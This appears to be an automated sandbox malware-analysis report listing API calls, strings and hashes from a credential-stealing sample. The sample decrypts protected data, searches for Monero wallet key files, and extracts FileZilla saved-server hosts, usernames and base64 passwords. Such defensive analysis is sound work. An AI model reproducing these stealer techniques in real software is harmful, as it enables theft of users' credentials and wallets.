Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: ed431a7ff9823f93bfd929b5a2d7bcce5411d68bbca71bd4fbebe05b11e22981
Instruction ID: e2204b18fa239e4a8b4bdf36829aa95afe1dea6f295647ffcd10ed4ceafda9e1
Opcode Fuzzy Hash: ed431a7ff9823f93bfd929b5a2d7bcce5411d68bbca71bd4fbebe05b11e22981
Instruction Fuzzy Hash: 6E41D670A40A28AFDB24DB58CC95B9BB7B5BB48702F5041D8E618A7290D771AE85CF60

Function 00D39B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00D39B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00D39BA3
LocalFree.KERNEL32(?), ref: 00D39BD3

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 7e383ad55746751b5009005ab7190ed4d7440bcfbb631b3427151f66636cd82c
Instruction ID: e027b9149c6e8b1c79dc36142611f0151a28cc159a815c2f995ddeb0e0c27f24
Opcode Fuzzy Hash: 7e383ad55746751b5009005ab7190ed4d7440bcfbb631b3427151f66636cd82c
Instruction Fuzzy Hash: 7111CCB8A00209DFDB04DF94D985AAEB7B9FF88300F104558E91597354D774AE51CF62

Function 01105BCC Relevance: 4.0, Strings: 2, Instructions: 1546COMMON

Download Yara Rule

Strings

}p][, xrefs: 01105C0E
-To}, xrefs: 011062E3

Memory Dump Source

Source File: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID:
String ID: -To}$}p][
API String ID: 0-2228264133
Opcode ID: 3dfe5360321b6fe9235dccd130d6a250ba0b65d968ce404514bda9c88dfa792d
Instruction ID: d16ce5f7b32333fe94e63a97c70f4318c244a7b6af3a8da21c79b8715a5f1675
Opcode Fuzzy Hash: 3dfe5360321b6fe9235dccd130d6a250ba0b65d968ce404514bda9c88dfa792d
Instruction Fuzzy Hash: C7A2F3F360C2049FE3046F2DEC8567ABBE9EF94720F1A493DE6C487740EA3598458697

Function 01107E1D Relevance: 3.5, Strings: 2, Instructions: 965COMMON

Download Yara Rule

Strings

I{, xrefs: 01108892
f02<, xrefs: 0110877C

Memory Dump Source

Source File: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID:
String ID: I{$f02<
API String ID: 0-3195043514
Opcode ID: 8bd004c995bd4cb26dc8c519bd316e2c3d0f577b0e7ba96f43b4ccf7c1eb5612
Instruction ID: 793073d98fc2a1959791a493c43dff6a714e86d3ef6f807cd459d689790a34b0
Opcode Fuzzy Hash: 8bd004c995bd4cb26dc8c519bd316e2c3d0f577b0e7ba96f43b4ccf7c1eb5612
Instruction Fuzzy Hash: 85525CF360C2049FE7046E2DED8577AFBDAEBD4220F1A463DEAC4C3744E93598058696

Function 00D3F68A Relevance: 1.6, APIs: 1, Instructions: 63fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4A740: lstrcpy.KERNEL32(00D50E17,00000000), ref: 00D4A788

Part of subcall function 00D4A920: lstrcpy.KERNEL32(00000000,?), ref: 00D4A972
Part of subcall function 00D4A920: lstrcat.KERNEL32(00000000), ref: 00D4A982

Part of subcall function 00D4A9B0: lstrlen.KERNEL32(?,008D8A30,?,\Monero\wallet.keys,00D50E17), ref: 00D4A9C5
Part of subcall function 00D4A9B0: lstrcpy.KERNEL32(00000000), ref: 00D4AA04
Part of subcall function 00D4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D4AA12

Part of subcall function 00D4A8A0: lstrcpy.KERNEL32(?,00D50E17), ref: 00D4A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00D515B8,00D50D96), ref: 00D3F71E
StrCmpCA.SHLWAPI(?,00D515BC), ref: 00D3F76F
StrCmpCA.SHLWAPI(?,00D515C0), ref: 00D3F785
FindNextFileA.KERNEL32(000000FF,?), ref: 00D3FAB1
FindClose.KERNEL32(000000FF), ref: 00D3FAC3

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: db4c2312390718a34b06ff9c57f818459288f0e8e9c43daca1304eb149fea88b
Instruction ID: 85dcdc0e2fe04e797574b7770637834f484a0d05625f06f6faf6eb83b190ef00
Opcode Fuzzy Hash: db4c2312390718a34b06ff9c57f818459288f0e8e9c43daca1304eb149fea88b
Instruction Fuzzy Hash: C311D63184411DABEB24FBB4DC559ED7338EF10300F4146AAA50A57092EF302B4ACBB2

Function 010DFE83 Relevance: 1.4, Strings: 1, Instructions: 182COMMON

Download Yara Rule

Strings

*11, xrefs: 010DFEB1

Memory Dump Source

Source File: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID:
String ID: *11
API String ID: 0-2724586490
Opcode ID: bcd48a966f0a6e28d461de43bb88be00aaa52653428a0194975b3cdb6d519b05
Instruction ID: 34e5a8a765f459e5a56d28772d03a298e9417a0effe55caacbf24f0f03129814
Opcode Fuzzy Hash: bcd48a966f0a6e28d461de43bb88be00aaa52653428a0194975b3cdb6d519b05
Instruction Fuzzy Hash: D35104B3D087149FE3146A18DC8976BF7D9EF94320F1B4A3DDAD893380EA795C018696

Function 0105B1E0 Relevance: .2, Instructions: 196COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81a3676bc8924aa74720fe9dbe13dabcf8e85acb1260b92d7c544ca5fce92878
Instruction ID: 961130928ad733cebf67641350db73162bf567797d0b8f4bdbf624fcfc74086f
Opcode Fuzzy Hash: 81a3676bc8924aa74720fe9dbe13dabcf8e85acb1260b92d7c544ca5fce92878
Instruction Fuzzy Hash: 285135F3A182105BF3085929DD5A77AB7DADBD4620F2B423DEA49D3B88EC3958064186

Function 0101571F Relevance: .2, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3757b5cb15738641c5d558c933e3ef318f0cafdbbde5031a9f900ba1ef9f9ebd
Instruction ID: f88fcefcedc0300a507d291151cf4e8662923540f47898c41bad804425b1a771
Opcode Fuzzy Hash: 3757b5cb15738641c5d558c933e3ef318f0cafdbbde5031a9f900ba1ef9f9ebd
Instruction Fuzzy Hash: 685103B3A086149FF3047A28DC467BEB7E5EF90320F1B493DDAD593780EA3958408786

Function 0118400A Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c16933fcdad73f3fe5ffd7f36e59f25cca1d6a3ec882f2bcfc31c4bef0e2e2f
Instruction ID: 6aa3eb89005d94d404e2e85af874c29b59563916ff078a05ab11fb4ca4701134
Opcode Fuzzy Hash: 9c16933fcdad73f3fe5ffd7f36e59f25cca1d6a3ec882f2bcfc31c4bef0e2e2f
Instruction Fuzzy Hash: 5F315BB291C214DFD705BF29D8812BEFBE9EF94310F16482DEAC493254EA7198418B87

Function 00D49750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00D40250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4A740: lstrcpy.KERNEL32(00D50E17,00000000), ref: 00D4A788

Part of subcall function 00D48DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00D48E0B

Part of subcall function 00D4A920: lstrcpy.KERNEL32(00000000,?), ref: 00D4A972
Part of subcall function 00D4A920: lstrcat.KERNEL32(00000000), ref: 00D4A982

Part of subcall function 00D4A8A0: lstrcpy.KERNEL32(?,00D50E17), ref: 00D4A905

Part of subcall function 00D4A9B0: lstrlen.KERNEL32(?,008D8A30,?,\Monero\wallet.keys,00D50E17), ref: 00D4A9C5
Part of subcall function 00D4A9B0: lstrcpy.KERNEL32(00000000), ref: 00D4AA04
Part of subcall function 00D4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D4AA12

Part of subcall function 00D4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D4A7E6

Part of subcall function 00D399C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00D399EC
Part of subcall function 00D399C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00D39A11
Part of subcall function 00D399C0: LocalAlloc.KERNEL32(00000040,?), ref: 00D39A31
Part of subcall function 00D399C0: ReadFile.KERNEL32(000000FF,?,00000000,00D3148F,00000000), ref: 00D39A5A
Part of subcall function 00D399C0: LocalFree.KERNEL32(00D3148F), ref: 00D39A90
Part of subcall function 00D399C0: CloseHandle.KERNEL32(000000FF), ref: 00D39A9A

Part of subcall function 00D48E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00D48E52

GetProcessHeap.KERNEL32(00000000,000F423F,00D50DBA,00D50DB7,00D50DB6,00D50DB3), ref: 00D40362
RtlAllocateHeap.NTDLL(00000000), ref: 00D40369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00D40385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D50DB2), ref: 00D40393
StrStrA.SHLWAPI(00000000,<Port>), ref: 00D403CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D50DB2), ref: 00D403DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00D40419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D50DB2), ref: 00D40427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00D40463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D50DB2), ref: 00D40475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D50DB2), ref: 00D40502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D50DB2), ref: 00D4051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D50DB2), ref: 00D40532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D50DB2), ref: 00D4054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00D40562
lstrcat.KERNEL32(?,profile: null), ref: 00D40571
lstrcat.KERNEL32(?,url: ), ref: 00D40580
lstrcat.KERNEL32(?,00000000), ref: 00D40593
lstrcat.KERNEL32(?,00D51678), ref: 00D405A2
lstrcat.KERNEL32(?,00000000), ref: 00D405B5
lstrcat.KERNEL32(?,00D5167C), ref: 00D405C4
lstrcat.KERNEL32(?,login: ), ref: 00D405D3
lstrcat.KERNEL32(?,00000000), ref: 00D405E6
lstrcat.KERNEL32(?,00D51688), ref: 00D405F5
lstrcat.KERNEL32(?,password: ), ref: 00D40604
lstrcat.KERNEL32(?,00000000), ref: 00D40617
lstrcat.KERNEL32(?,00D51698), ref: 00D40626
lstrcat.KERNEL32(?,00D5169C), ref: 00D40635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D50DB2), ref: 00D4068E

Strings

<User>, xrefs: 00D40410
browser: FileZilla, xrefs: 00D40559
profile: null, xrefs: 00D40568
login: , xrefs: 00D405CA
<Pass encoding="base64">, xrefs: 00D4045A
<Host>, xrefs: 00D4037C
<Port>, xrefs: 00D403C6
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00D402A4
url: , xrefs: 00D40577
password: , xrefs: 00D405FB

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 4d8551878cedbc921aca121f83c3149c6cf5c9e5864c1facdef27d2ce0d1f6f7
